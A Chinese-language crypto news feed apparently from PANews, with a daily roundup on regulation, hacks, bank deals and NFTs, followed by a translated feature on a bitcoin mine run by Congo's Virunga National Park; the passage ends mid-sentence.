    今日要闻提示： 美国议员Tom Emmer已向国会重新提出《区块链监管确定性法案》 币安将于29日再次开放AI NFT生成器Bicasso 上海黄浦：对元宇宙、区块链、AI等重点领域技术攻关项目给予资金支持 Microstrategy再次购买6455个比特币 彭博社：交通银行、中国银行、浦发银行的香港分行或考虑向在港加密公司提供服务 推特称部分源代码遭泄露，已展开调查 数据：美国政府扣押的比特币价值达56亿美元，约占流通供应量的1.06% CoinShares：上周数字资产投资产品净流入1.6亿美元，为2022年7月以来的最大流入量 监管消息 美国议员Tom Emmer已向国会重新提出《区块链监管确定性法案》 美国众议院多数党议员Tom Emmer周四宣布，他已经向国会重新提出了《区块链监管确定性法案》，该法案确保加密领域的开发商和非托管服务提供商不被视为汇款人，并且不受与托管加密货币交易所相同级别的监管。这项两党法案由众议员Darren Soto共同领导。Emmer在2018年首次提出了类似的法案。 Emmer表示：“从本质上讲，加密货币和区块链技术并不容易融入政策制定者过去在制定法规时考虑的框架。长期以来，联邦监管机构和立法者将区块链生态系统塞进了毫无意义的法定定义中。我们延迟提供这种常识性澄清的时间越长，这种变革性技术被推向海外、剥夺国内用户和投资者的风险就越大。该法案将帮助美国在加密货币领域保持技术领先地位。” 据悉，该提案最初于2021年8月17日在国会上提出，但并未进一步推进。该法案旨在制定指导方针，为“区块链开发者和服务提供商”消除某些障碍和要求。 韩国检方再次寻求逮捕Terra联创Daniel Shin 据彭博社报道，韩国首尔检察官办公室周一证实，他们正再次寻求逮捕Terra联创Daniel Shin，但没有提供更多细节。Shin的律师没有立即回应置评请求。Shin的律师此前表示，Shin于2020年从Terraform Labs分离出来，此后一直没有参与其运营。 此前去年12月消息，韩国法院驳回对Terra联创Daniel Shin逮捕令。首尔检察官去年表示，Shin面临欺诈、失职、违反资本市场法和非法集资等指控。Do Kwon近日在黑山被捕，韩美双方均寻求将其引渡。 NFT 1inch社区拒绝由Solidity.io为其创建NFT聚合市场，但通过另一项类似提案 Snapshot投票页面显示，1inch社区以68.78%的投票反对率拒绝了由Solidity.io为该社区创建NFT市场的提案，有社区成员表示，该提案的格式、计划安排、执行均有问题，比如该提案没有在提案题目开头前添加“1IP-#”，且该计划的实施需与1inch基金会达成合作，但该提案的表述误导了社区等，双方并未达成合作。 此外，社区的另一项提案1IP-21以71.44%的支持率获得通过，该提案同样提议为社区创建一个NFT聚合市场，开发服务将外包给Blockchain App Factory (BAF)， BAF将与1inch架构和BE团队保持一致，领导拟议NFT市场的开发执行。该提案的申请的预算约为38.7万美元。 奢侈品巨头Gucci与Yuga Labs达成合作，或将于本周参与Otherside 据Businessoffashion报道，奢侈品巨头Gucci宣布与Yuga Labs达成合作货币关系，本次合作旨在“探索元宇宙中时尚与娱乐的交互并扩大两家公司旗下社区之间的互动”。据Gucci公司和品牌战略高级执行副总裁兼Gucci Vault & Metaverse Ventures首席执行官Robert Triefus表示，Gucci将在Otherside和10KTF的持续叙事中发挥作用，去年Gucci与10KTF推出了“Gucci Grail”项目，预计Gucci将于本周参与Yuga Labs旗下元宇宙游戏Otherside。 币安将于29日再次开放AI NFT生成器Bicasso 币安宣布将于 3 月 29 日向所有人免费提供 Bicasso。该平台将开放 12 小时，并以先到先得的方式限制铸造 100,000 个 AI NFT。从 2023 年 3 月 29 日 12:00（UTC）到 2023 年 3 月 30 日 00:00（UTC），拥有币安账户的所有符合条件的用户都可以使用 Binance Bicasso 铸造 NFT。 元宇宙 上海黄浦：对元宇宙、区块链、AI等重点领域技术攻关项目给予资金支持 据同花顺报道，上海市黄浦区科学技术委员会和黄浦区财政局发布《黄浦区关于加快推进数字产业发展的政策意见》，意见指出，支持数字产业集聚，营造产业创新生态。支持数字技术赋能，拓展数字场景应用。对获得工信部人工智能产业创新任务揭榜挂帅项目、上海市促进产业高质量发展专项资金等（信息化相关领域），按最高不超过1:1予以区级配套，最高不超过200万元。对符合区数字产业发展导向，在人工智能、集成电路设计制造、元宇宙、软件与算法、量子计算、新一代网络、区块链等重点领域自主研发或联合产学研开展关键技术攻关，经评审，对具有先进性、创新性、突破性或颠覆性的项目，按不超过项目投资总额的30%给予一次性支持，最高不超过200万元。 项目动态 Microstrategy再次购买6455个比特币 Microstrategy 以大约 1.5 亿美元的总金额购买了 6,455 个比特币，平均价格为每个比特币 23,238 美元。截至 2023 年 3 月 23 日，MicroStrategy 连同其子公司共持有约 138,955 枚比特币，收购总价约为 41.4 亿美元，平均购买价约为 29,817 美元。 FDIC：第一公民银行已收购硅谷银行，并承担其所有存款和贷款 美国联邦存款保险公司 (FDIC) 在其官网上宣布，联邦存款保险公司（FDIC）与第一公民银行和信托公司（First–Citizens Bank & Trust Company）就Silicon Valley Bridge Bank（硅谷银行过渡银行）所有存款和贷款签订了购买和承担协议。硅谷银行过渡银行的17家前分行将于当地时间3月27日作为第一公民银行和信托公司开业。 截至2023年3月10日，硅谷银行过渡银行总资产约为1670亿美元，总存款约为1190亿美元。今天的交易包括以165亿美元的折扣价购买约720亿美元的硅谷银行过渡银行，这是National Association的资产。约900亿美元的证券和其他资产仍将处于接管状态，等待FDIC处置。此外，FDIC还获得了第一公民银行股份有限公司(First Citizens BancShares, Inc.)的股权增值权，这些普通股的潜在价值高达5亿美元。 FDIC估计，硅谷银行倒闭对其存款保险基金 (DIF) 造成的损失约为200亿美元。确切的成本将在FDIC终止接管时确定。 彭博社：交通银行、中国银行、浦发银行的香港分行或考虑向在港加密公司提供服务 据彭博社报道，知情人士表示，中国交通银行、中国银行、上海浦发银行的香港分行可能已经开始向当地加密货币公司提供银行服务，或正对该领域进行调查。知情人士称，至少有一次，一家中国的银行销售代表前往一家加密货币公司的办公室，推销其服务。 截至发稿，中国银行、交通银行和上海浦东银行未回应置评请求。 XRP回购提案发起人提议创建“XRP银行”，前Ripple高管警告这或是骗局 据u.today报道，XRP回购提案作者Jimmy Valle提议创建一家XRP银行，允许投资者将持有的XRP存入银行然后购买黄金，如果XRP社区所有人都同意1 XRP为1万美元，那么该银行将是价值最高的金融机构之一。 不过此想法遭到Ripple前开发者关系总监Matt Hamilton的批评，甚至称Jimmy Valle的提案可能是骗局，他指出无论是比特币还是XRP，价格都是由市场决定，而且将XRP回购并直接与黄金挂钩并不现实。XRP社区另一位知名成员“Crypto Eri”持有类似的观点，称这不是她想用自己的资产玩的游戏。Ripple现任CTO David Schwartz也持有类似的观点，Schwartz明确地将这种提议称为骗局，他说，如果有人承诺低风险的高回报，他们很可能会敲诈你。 安全公司：Kokomo Finance发生Rug Pull，盗取资金约400万美元 据安全公司CertiK监测，借贷协议Kokomo Finance（KOKO）发生Rug Pull，盗取约400万美元用户资金。目前该项目已删除所有社交媒体账户。 推特称部分源代码遭泄露，已展开调查 据《纽约时报》援引一份法律文件报道，推特的部分源代码在网上遭到泄露。报道称，推特于上周五向发布这些代码的软件开发人员在线协作平台GitHub发出版权侵权通知，要求删除代码。GitHub已对这些代码作删除处理，并补充说不清楚这些代码泄露了多久，可能至少有几个月。推特还要求美国加州北区地方法院命令GitHub确认分享代码及下载代码的人员。该报援引两名了解内部调查情况的人士称，推特对此次泄密事件已展开调查。 Celsius债权人：客户可在4月28日前对债务人提出索赔证明 Celsius官方无担保债权人委员会 (UCC) 发推文称：“在最近的客户索赔裁决中，法官Martin Glenn表示客户可以只针对Celsius Network LLC提出加密货币的合同索赔，但Glenn法官的决定并不妨碍客户对所有债务人提出非合同索赔，如欺诈、疏忽性失实陈述或其他法定或普通法索赔。此外，鉴于这一法院裁决，债务人现在已重新开放截止日期。客户可以在4月28日前对任何债务人提出索赔证明。” LaunchZone的早期合约Bscex SwapX存在漏洞导致近780万美元资金被盗，超3.4万个地址面临风险 据Scam Sniffer监测，LaunchZone的早期合约Bscex SwapX存在漏洞，目前已有7799856美元的资金被盗。在早期批准该合约的用户面临风险。34065个地址处于危险之中，请用户尽快检查并撤销授权。 慢雾创始人余弦对此评论称：“谁能想到2～3年前钱包地址授权的一个项目出漏洞，许多用户一直没取消授权，有黑客就不断监测这些存在授权风险敞口的钱包地址，一旦发现有资金就盗走。” PANews提醒用户，可使用revoke.cash取消近期不使用的合约授权。 律师：美SEC诉Ripple案简易判决或在本周宣布 据Coingape报道，美国SEC和Ripple Labs之间的诉讼案正在等待美国地方法院宣布一项简易判决，而该场诉讼中的“法庭之友”律师John Deaton表示，法官的裁决将在未来几周内公布，而本周可能会宣布一项简易判决。这一声明是在Ripple和被告提交了一份补充授权的书面通知以支持公平通知辩护时发布的。 Deaton律师补充说，在目前的节点上XRP拥有最具吸引力的风险/回报比。如果法院做出了对Ripple有利的裁决，那么很明显，XRP不是一种证券，这将大幅影响其价格。 重要数据 数据：美国政府扣押的比特币价值达56亿美元，约占流通供应量的1.06% 根据目前的统计，截至2023年3月25日，美国政府持有205,515枚比特币，价值56亿美元，约占流通供应量的1.06%。 这些比特币主要来源于从2020年开始的三起没收事件，包括2020年11月没收的与丝绸之路暗网相关的69369枚BTC，2022年从Bitfinex黑客没收的94,643枚BTC，以及去从James Zhong没收的51,326枚BTC。根据Glassnode于2023年3月9日发布的一份报告，其中一些比特币已经转移，总数从 215,338枚BTC减少到205,515枚BTC。 此外，美国政府扣押的比特币数量仅次于灰度（643572枚），但超过了Microstrategy持有的132500枚BTC。 CoinShares：上周数字资产投资产品净流入1.6亿美元，为2022年7月以来的最大流入量 据CoinShares周报数据，上周数字资产投资产品净流入 1.6 亿美元，为 2022 年 7 月以来的最大流入量。在连续 6 周流出 4.08 亿美元后出现明显转机。其中比特币投资产品是主要受益者，流入了 1.28 亿美元，做空比特币的投资产品也有 3100 万美元的资金流入。以太坊上周遭遇 520 万美元的资金外流。大量山寨币出现资金流入，最引人注目的是 Solana、Polygon 和 XRP，分别流入 480 万美元、190 万美元和 120 万美元。  ( 5 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.03.27）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 4 min )
    币安将于29日再次开放AI NFT生成器Bicasso
    PANews 3月27日消息，币安宣布将于 3 月 29 日向所有人免费提供 Bicasso。该平台将开放 12 小时，并以先到先得的方式限制铸造 100,000 个 AI NFT。从 2023 年 3 月 29 日 12:00（UTC）到 2023 年 3 月 30 日 00:00（UTC），拥有币安账户的所有符合条件的用户都可以使用 Binance Bicasso 铸造 NFT。 相关阅读：币安推出的Bicasso大火背后，还有哪些NFT项目正展开生成式AI叙事  ( 4 min )
    Microstrategy再次购买6455个比特币
    PANews 3月27日消息，Microstrategy 以大约 1.5 亿美元的总金额购买了 6,455 个比特币，平均价格为每个比特币 23,238 美元。截至 2023 年 3 月 23 日，MicroStrategy 连同其子公司共持有约 138,955 枚比特币，收购总价约为 41.4 亿美元，平均购买价约为 29,817 美元。  ( 4 min )
    美国加密行业硝烟四起，监管似乎正酝酿一场“诺曼底登陆”
    财联社3月27日讯（编辑 马兰） 美国加密行业越来越能感受到紧箍咒的存在，不少企业甚至警告称，白宫正在悄悄采取行动，将他们赶出美国。 证据也似乎很充分：美联储和其他监管机构正在警告银行注意加密货币的风险；美国证券交易委员会则威胁将起诉美国最大的加密货币交易所Coinbase；白宫经济报告中质疑加密货币是否存在基本价值…… 与加密行业关系亲近的参议员Bill Hagerty表示，加密行业的担忧非常真实，奥巴马曾经也用这种方式让银行远离枪支经销商，现在同样的模式出现了。 加密行业高管正在努力反击，希望通过游说行动来组织银行的远离和监管的收紧。而这也可能代表着美国加密行业与美国政府之间，全面斗争新战线的开始。 大型研究公司Messari的首席执行官Ryan Selkis正在敦促美国国会审查美国联邦存款保险机构（FDIC）的做法。FDIC认为Silvergate和Signature等银行的倒闭与其加密业务有关，并警告其它银行不要让加密货币的风险转移到金融系统中。 而除了FDIC，美联储和美国监管机构期权清算公司OCC似乎也在成为加密行业的针对者。然而这些机构都对加密行业的指控不予置评。 事实上，当前的时机也确实不利于美国加密行业。 先是美国知名加密交易所FTX被曝内部交易丑闻，再是Silvergate银行和Signature银行倒闭。这些事件让本就对加密圈存疑的政府人士更加坚定怀疑态度，并担心投资者保护问题。 而美国证券交易委员会（SEC）主席Gary Gensler正是质疑人士中最强势的一位，其反复呼吁将加密货币纳入证券法的管辖范围之内。 由于SEC的严厉打击，银行监管机构自然也紧接着通知各家银行谨慎处理加密货币业务。这也导致加密行业在美国金融的生存空间被迅速缩小。 前美国财政部官员、现Clyde Group公共事务高级副总裁John Rizzo就指出，监管机构正在采取行动，基本上相当于禁止了加密货币。如果加密行业无法使用银行系统，它还能存在吗？ 研究公司Messari称，曾与一些银行进行过对话，据银行透露，禁止加密货币是从高层传下来的。 加密货币公司Swan Bitcoin的首席执行官Cory Klippsten作证称，花旗银行去年年底在没有任何解释的情况下，关闭了他们公司和私人的账户。 还有几家银行也缩减了对加密资产的敞口，今年倒闭的Signature银行高管在去年就曾表示，计划将加密货币的相关存款集中度削减至20%以下。还有一些商业银行则计划完全退出加密市场。 但据监管机构来看，这只是它们在履行职责时，银行自我管理的行为。FDIC前官员Todd Phillips称，监管只是在提醒银行注意不断上升和还在潜伏中的风险，这是最基本的银行监管措施。 而这被加密行业认为是一种“迫害”，Phillips显然觉得加密行业是在草木皆兵。 对此，加密公司Swan的Klippsten也有相同的感觉。他指出，银行之所以切断对加密货币存款人的服务原因只在于风险，特别是在去年一系列震撼市场的加密丑闻出现之后。 他还表示，Swan虽然在花旗的撤退中遇到了麻烦，但此后一切都很顺利。他强调只要公司业务稳定，就会有其它银行愿意接受它的存款。  ( 4 min )
    Vauld获得另一项债权人保护延期至4月28日
    PANews 3月27日消息，据The Block报道，亚洲加密货币贷款机构 Vauld 获得另一项债权人保护延期至4月28日。此前 Vauld 的债权人保护曾多次延期。  ( 4 min )
    局势混乱，战火纷飞，比特币如何成为刚果国家公园的“救世主”？
    原文：《Gorillas, militias, and Bitcoin: Why Congo’s most famous national park is betting big on crypto》by Adam Popescu 编译：GaryMa 吴说区块链 在刚果东部，AK-47 步枪这种苏联的老式武器在黑市上只卖 40 美元，民兵们用它来夺取土地、木材、象牙和稀有矿物，这些矿物长期以来一直是这个地区的希望和诅咒。 但这个穿着军装的人不是民兵。他是这个基本上没有法律的地区少有的权威人物：一个通常在维龙加（Virunga）国家公园巡逻的护林员，这个地方以濒危的山地大猩猩而闻名。 但今天，他的工作却有所不同。在公园外的一个小村庄 Luviro，他正在看守世界上第一个由国家公园运营、以清洁能源运行的比特币矿场。这是一场赌博，让许多在公园内和周围工作的人感到兴奋，也招来了专家的怀疑，他们想知道加密货币与保护环境\动物有什么关系。 在 2022 年 3 月底这个闷热的日子里，保安在 10 个装满了数千台矿机的集装箱前踱步。它们在正午的高温中嗡嗡作响。突然，一个闪亮的东西在地平线上闪烁。当一架塞斯纳飞机在附近盘旋时，他调整了一下贝雷帽，匆匆赶到了附近的土质跑道上。 飞机很快降落在一条陡峭而又短得危险的起降跑道上，从跑道上走出来的是 52 岁的飞行员伊曼纽尔·德·梅洛德（Emmanuel de Merode），他是公园的负责人，来这里进行例行检查。德·梅洛德用一只手抓住包的皮带，另一只向游骑兵致敬，游骑兵挺起胸膛，笔直地站在阳光下。他胡子刮得干干净净，头发发灰，是唯一一个没有武器的人。在他身后，塞斯纳飞机的机翼上布满了弹孔，用胶带修补着。 德·梅洛德大步走过一条吠叫的丛林狗，走进其中一个 40 英尺长、镀铬绿色的集装箱。在内部，一组穿着网眼背心的技术人员在电线、笔记本电脑和体味的包围下监视着矿机。 这些机器整天都在钻研复杂的数学问题，并获得价值数千美元的数字货币作为奖励。它们由坐落在同一座山上的大型水电站提供动力，使这些集装箱成为 21 世纪绿色科技的大教堂，周围环绕着更绿色的雨林。 从很多方面来说，这一行动的存在是不可能的。仅仅是身处一个以腐败和日益严重的森林砍伐而闻名的动荡地区，外国投资就像电网和稳定的政府一样稀少，这就带来了一系列问题。24 岁的乔纳斯·巴武莫亚（Jonas Mbavumoja）毕业于附近的戈马大学（University of Goma），是该矿场的员工，他说:“互联网连接、影响生产的气候条件以及孤立工作等问题。”附近还有数十个叛军组织的威胁。这里暴力活动频繁，多年的民兵活动、导弹袭击和砍刀袭击给人们留下了深刻的创伤。 这是非洲最古老的受保护公园的关键时刻。在经历了四年的疾病爆发、疫情封锁和流血事件之后，维龙加迫切需要资金，该地区迫切需要机会。刚果政府只提供了公园运营预算的 1% 左右，让它在很大程度上自力更生。这就是为什么维龙加在加密货币上押重注。 不过，比特币通常与环境保护或社区发展无关。人们通常认为情况恰恰相反。但在这里，这是一个更大计划的一部分，将维龙加令人垂涎的自然资源，从土地到水电，转化为公园和当地人的利益。虽然像这样的开采方式可能是非常规的，但它们是有利可图的，而且是绿色的。 比特币的销售收入已经在帮助支付公园的工资，以及道路和抽水站等基础设施项目。在其他地方，来自公园水力发电厂的电力支持了适度的商业发展。 德·梅洛德说，这就是如何建立一个与公园资源挂钩的可持续经济，尽管矿场本身是一个令人高兴的意外。 他解释说：“我们建造了发电厂，并认为我们将逐步建立网络。然后我们不得不在 2018 年关闭旅游业，因为发生绑架事件。然后在 2019 年，由于埃博拉病毒，我们不得不关闭旅游业。2020 年，剩下的就是新冠病毒的历史了。四年来，我们所有的旅游收入，曾经占公园收入的 40%，都崩溃了。” 他补充说：“这不是我们预料到的，但我们必须想出一个解决方案。否则我们国家公园早就破产了。” 该公园于 2020 年 9 月开始挖矿，当时世界大部分地区都被封锁了，他说：“然后比特币的价格飙升，我们很幸运，但仅此一次。” 在 3 月下旬的这次访问中，刚果矿工用法语与勒主任谈论他们的进展。比特币目前的交易价格约为 4.4 万美元，德梅罗德预计每月的收入约为 15 万美元，接近旅游业巅峰时期的收入水平。 现在迫在眉睫的问题是，他们的运气是否已经用光了。 大约十年前，维龙加因Netflix的一部著名电影而声名鹊起，这部电影展示了该公园与叛乱分子的入侵和石油巨头的威胁作斗争。这些危险又回来了，危及一切。 刚果政府最近宣布计划拍卖公园内及周边地区的石油租赁权。这还处于早期阶段，但如果钻探开始，这将意味着破坏生命和重要的野生动物栖息地。毫不夸张地说，地球的健康将受到威胁：刚果盆地是仅次于亚马逊的世界第二大雨林，也是一个重要的碳汇。 与此同时，一个名为 M23 的民兵组织占领了公园的大猩猩区，并在与刚果军队作战时洗劫了城镇。在过去，M23 避免与维龙加直接对抗，但在过去的几个月里，情况似乎有所改变。 最重要的是，最近 FTX 的崩溃和随后震动了整个加密行业的连锁反应意味着德·梅洛德的赌博听起来像是孤注一掷。但他指出，挖矿的每一天都是纯利润，所以无论比特币的价值波动有多大，只要它是正的，它就是有利可图的。 面对这些威胁，德·梅洛德认为比特币矿场仍然可以成为他们的王牌。他既不是利他主义者，也不是加密骗子，他是一个愿意冒一切风险的实用主义者。 如果公园能坚持下去，它可能会成功。 在一个 "令人困惑的地方"的 "特殊解决方案" 在刚果民主共和国的这块土地上，你首先注意到的是它的绿色，由大量降雨和肥沃的火山土壤提供的绿宝石海洋。维龙加的一侧与刚果盆地接壤，另一侧是乌干达和卢旺达。它的 3000 平方英里是非洲一半陆地动物的家园，包括世界上最后的山地大猩猩的大约三分之一。 大约 500 万人就住在公园外面；大多数人没有电，无法做饭、照明或为他们的泥土墙的房子取暖。除此之外，还有8万人生活在公园里。许多人在维龙加 1925 年创建之前就在这里定居，当时该国还处于比利时的殖民统治之下；其他人是逃离最近的暴力事件的难民。 这就是为什么公园是木炭（斯瓦希里语为 makala）和食物的重要来源，尽管耕种、捕鱼、狩猎和伐木都是非法的。公园的资源经常被剥夺：从 2001 年到 2020 年，维龙加的树木覆盖率几乎减少了 10%，德·梅洛德估计维龙加的树木和象牙每年损失 1.7 亿美元。但对当地人来说，另一种选择是无力支付当地军阀的费用，或者饿死。这些都是腐败的完美条件。 “刚果是一个难以做出道德判断的地方。” 《利奥波德国王的鬼魂》一书的作者亚当·霍克希尔德说：“刚果是一个令人困惑的地方，很难做出道德判断。”该书记录了比利时君主 19 世纪悲惨的统治。他说，刚果“幅员辽阔，人们说数百种语言，为了榨取财富而进行的殖民”使情况更加复杂。“在这种情况下，很难有一个公正和公平的社会。” 刚果的流离失所者几乎和乌克兰一样多，尽管联合国进行了数十年的维和行动，但刚果仍存在数十年的冲突。公园的大部分被盗利润都流向了武装叛乱组织，一些当地人因为缺乏更好的选择而加入了这些组织。有些是过去战争的遗迹，最著名的是 1994 年卢旺达的种族灭绝。其他人可能与伊斯兰国有关。其中规模最大的是 M23，这是一个图西族领导的武装组织，武装精良，联合国称卢旺达支持该组织。(卢旺达对此予以否认，但其经济严重依赖刚果的资源。) 因此，维龙加可能是唯一一个定期埋葬其工作人员的联合国教科文组织遗址：自 1996 年以来，有 200 多名护林员被杀害，平均每月一人。Cherubin Nolayambaje 当了 8 年的护林员，他称护林员是“世界上最危险的工作”。 维龙加有近 800 名护林员，其中包括大约 35 名女性，他们经常在公园里遇到武装叛乱分子，以及在那里非法耕种或生活的平民。附近鲁丘鲁镇的活动人士 Samson Rukira 补充说，许多当地人甚至不知道公园的边界。他说，虽然保护环境需要社区参与来解决问题，但“我们所处的地区并不安全，这意味着护林员可能无法进行对话。” 德·梅洛德对社区抱怨个人被拒绝使用公园的巨大财富表示同情。“成千上万，可能是数百万人遭受我们希望的短期成本，将这个公园变成积极的资产。如果我们在这方面失败了，那么弊大于利。但我们坚信，这个生态系统、这个公园是可以扭转的。” 他的计划取决于自 2013 年以来在马特贝、穆特旺加和卢维罗开放的三座水力发电厂;第四家正在建设中。理论上说，如果你能给家里供电，你就不需要砍树做饭了。电力支持新的就业机会和企业，如咖啡屋和奇亚籽生产。当然，还有比特币矿场。 德·梅洛德继续说：“这是我们最想纠正的误解：维龙加只有野生动物，这是关于野生动物的社区。我们的角色就是努力促成这一点。”他说，在这个世界上最麻烦的国家之一，如果没有当地的支持，就不可能实施保护。 这个解决方案出现在距离维龙加近 4000 英里、一个世界之外的卢瓦尔河谷一座雄伟的法国城堡里。2020 年 2 月，加密投资者 Sébastien Gouspillou 在中午时分来到 Château de Serrant，期待着某个炫耀者的推销。 他解释说:“在法国，租一座城堡是很常见的，它的价格和住酒店差不多。” 相反，在门口迎接他的是一位公主，她的家族自 18 世纪以来就拥有这座城堡。几分钟后，她去找 Gouspillou 的午餐约会对象：她的小弟弟 Emmanuel de Merode。 维龙加公园的园长出生在突尼斯的一个比利时贵族家庭。11 岁时，他在肯尼亚与传奇的狮子大师乔治·亚当森（George Adamson）一起度过了一段时间。后来，他接受了人类学家的培训。1993 年，他来到刚果，帮助加兰巴国家公园的护林员，并为他的博士学位研究丛林肉贸易。1999 年，他前往加蓬的 Lopé 国家公园，在那里他致力于让大猩猩适应环境，并建立生态旅游。在那里他意识到：“你必须在那里工作二三十年才能真正成功。我想去刚果东部。” 德·梅洛德 2001 年来到维龙加，当时内战正如火如荼。他很快意识到护林员工作的重要性，因为他们经常拿不到工资。他和著名的化石猎人理查德·利基（Richard Leakey，后来成为他的岳父）一起开始筹款来支持他们的工资。 2008 年，一群大猩猩被杀害，处决式谋杀的照片引起了国际社会的愤怒，之后他成为了该公园的负责人。在混乱的后果中，维龙加当时的局长被逮捕，该州官员发誓要进行彻底的变革；也许没有什么比比利时王子在前比利时殖民地担任领导职位更激进的了。 德·梅洛德立刻就出了名。上任两个月后，反政府武装袭击了位于鲁曼加波的公园总部，他越过敌阵进行谈判并保护工作人员。在重新获得控制权后，他解雇了数百名护林员，逮捕了高级军官，然后重新招募护林员并对他们进行培训。工资上涨;口粮和装备改进。士气高涨，动物数量最终反弹。 但在 2014 年 4 月，这个故事几乎结束了。德·梅洛德前往戈马是为了提供针对索科石油公司的证据，这家英国石油公司被控行贿官员。他独自开车回公园时，枪手向他的车开枪。他还击，冲进森林藏了起来。但一颗子弹击中了他的胸部，打断了五根肋骨，并穿透了一个肺。另一颗刺进了他的胃，他说：“穿过肝脏、横膈膜、肺，从背部射出。” 最后，骑着摩托车的农民开过来帮忙。当他最终到达戈马时，他不得不在缺乏共同语言的印度和刚果医生之间做翻译。由于没有x光机，医生从他的身体中间切开。 两天后，当他还在恢复时，维龙加在翠贝卡电影节上首映。这部纪录片后来被 Netflix 收购，主要讲述了公园在 M23 和 Soco 的围攻中挣扎求生的故事。该片由莱昂纳多·迪卡普里奥担任监制，并获得了奥斯卡金像奖提名。这也使德·梅洛德和他的同事成为国际英雄。 这就是 Gouspillou 在第一次会议上对德·梅洛德的看法。在 Château de Serrant，两人最后谈了四个小时。德·梅洛德陷入了困境：急于想办法利用维龙加多余的电力为公园提供资金，而这个公园正在迅速亏损。Gouspillou 渴望做一些重要的事情。 在回家的火车上，Gouspillou 说：“我谷歌了一下，发现他是个英雄，我想帮忙。我们过去通过购买电力来挖矿，效率不高。这些钱可能会流向哈萨克斯坦的寡头。在维龙加，我们看到它正在拯救公园。” Gouspillou 在从事房地产投资工作后进入加密领域，他喜欢称自己为比特币印第安纳琼斯。尽管他没有鞭子，也没有软呢帽，他更喜欢牛仔裤，而且秃顶，但他有着冒险的名声。他的公司 Big Block Green Services 以整合有争议的项目而闻名：为萨尔瓦多的“比特币城”提供咨询，并为中非共和国的另一个加密项目做准备。 在 Gouspillou 的帮助下，维龙加于 2020 年初购买了二手服务器，并开始建造比特币矿场。和水力发电厂一样，建设也很艰苦。从戈马获得集装箱和比特币矿机意味着要在叛军控制的丛林中沿着土路行驶两天。 Gouspillou 说：“意大利大使就在我们每天走的路上被杀”。当他到达卢维罗时，他在自己的平房上发现了德·梅洛德没有告诉他的弹孔。Gouspillou 打趣道：“我也没有告诉我妻子。” 大约在这个时候，公园的死亡人数急剧上升。2020 年 4 月，在维龙加历史上最严重的袭击中，12 名护林员、1 名司机和 4 名平民丧生。10 月，另一名护林员被杀，2021 年 1 月，另一名在 10 月，另一名在 11 月被杀。德·梅洛德形容这是“我们最艰难的一年”。 然而，克服这些困难，到 2020 年 9 月，Luviro 矿场开始运营。 当地的一份招聘启事聘用了 9 名刚果加密货币矿工，他们在问卷竞争中得分很高。他们中的大多数人之前都听说过比特币，但由于该地区存在诈骗行为，他们的最初印象并不总是积极的。现在他们中的许多人都有加密钱包。 27岁 的 Ernest Kyeya 说：“这是一个全新的领域”，他毕业于戈马大学电气工程专业，目前在该矿场工作。 他补充说：“我花了一点时间来适应术语，理解矿机的操作，并设法维修和维护它。但我被当作团队的一员，而不是一个简单的工人。这种责任给了我信心。” 矿工们连续工作 21 天，然后休息 5 天。Kyeya 说，我们的住所并不“高级”，但我们喜欢我们所做的。他补充道：“这和城里不一样。一切都必须计划好。但这是值得的。能在这里工作是一种荣耀，一天工作 13 个小时，有时甚至更多，因为在丛林里我们没有别的事可做。” 现在有 10 个集装箱直接由工厂的 4 米涡轮机提供动力。每个集装箱可容纳 250 至 500 台矿机。维龙加拥有三个集装箱，所有收益将用于资助各种公园服务。其他 7 个是 Gouspillou 的。他向维龙加支付电费，他挖的比特币都归他和他的投资者所有。 德·梅洛德估计，去年该矿场为公园带来了约 50 万美元的收入，当时疫情已经切断了大多数其他收入来源。 利用数字猿猴的流行，该公园与 NFT 项目 CyberKongz 合作，通过佳士得拍卖大猩猩 NFT，为公园提供了另外 120 万美元。其中一些钱被用于购买公园拥有的三个集装箱中的两个。 德·梅洛德说：“这就是我们度过新冠疫情的原因。” Gouspillou 说："当 Emmanuel 看到钱的时候，他非常惊讶。我对我们的成功很有把握”，当谈话转向加密货币的可持续性时，他说得很快。 不是每个人都这么肯定。也不是所有的刚果人都是激进发展的支持者。即使有些人确实受益，大多数人也不会得到工作。多年的战争和外国的剥削也给当地人带来了沉重的压力，他们经常在同一句话中赞美公园并诅咒它。 同时，对于国际社会来说，比特币作为救世主的想法也许从来没有这么难以兜售。 这种批评在很大程度上与开采比特币所需的大量电力有关，电力通常由化石燃料产生。欧洲中央银行的总干事最近称比特币开采是 "前所未有的污染源"。而且，连接往往是昂贵的；例如，美国七个最大的加密货币矿场使用的电力与休斯顿所有家庭的电力相同。(美国的加密货币公司在法律上不需要报告二氧化碳的排放量）。 许多社区，尤其是在发展中国家，也被国际加密货币矿工所利用，其中一些人利用当地薄弱的法规或税收优惠，吸走电力，破坏周围环境，然后消失在下一个热点。 阿姆斯特丹自由大学研究加密货币可持续性的博士候选人亚历克斯·德·弗里斯（Alex de Vries）说：“主要问题是，与成本相比，收益总是非常有限。矿商承诺过多，却未能兑现。” 他说，关键是要收回投资，就意味着要全天候运行矿机。他总结道：“没有他们，当地社区通常会更好。” 诺森比亚大学国际发展助理教授彼得·豪森（Peter Howson）与德·弗里斯一起进行了研究，他也认为刚果的清洁能源可以得到更有效的利用。他表示：“在刚果民主共和国，比特币矿工的竞争力超过了更具生产力的绿色工业发展形式。这些行业可能雇佣了战斗人员、偷猎者和非法伐木者。即使是最大的比特币公司也只雇佣少数人。这些都是非常不稳定的工作，合同没有保障。这是一个好模型吗？不。他们应该把水电用在有用的地方。” 荷兰政治生态学家 Esther Marijnen 自 2013 年以来一直在刚果工作，她也提出了类似的观点，认为 Luviro 的矿场与保护环境相违背，并质疑大猩猩保护区与加密货币有什么关系。对于维龙加正在进行的所有开发，特别是围绕水电的开发，她指出，该公园未能带来广泛的稳定或就业。 她问道：“目标是什么？这是农村电气化吗？这样公园周围的人就可以用电来改善他们与公园的关系？还是为了吸引生意？” 纽约大学刚果研究小组创始人、前联合国调查员杰森·斯特恩斯（Jason Stearns）认为德·梅罗德是朋友，他警告说民兵也可以从水力发电中受益，所以这并不一定会导致武装分子放下枪。他说：“我钦佩埃马纽埃尔的坚韧精神和敢于跳出固有思维的意愿，但这种认为自由市场将带来和平的意识形态与刚果过去 20 年的情况背道而驰。” 尽管如此，Gouspillou 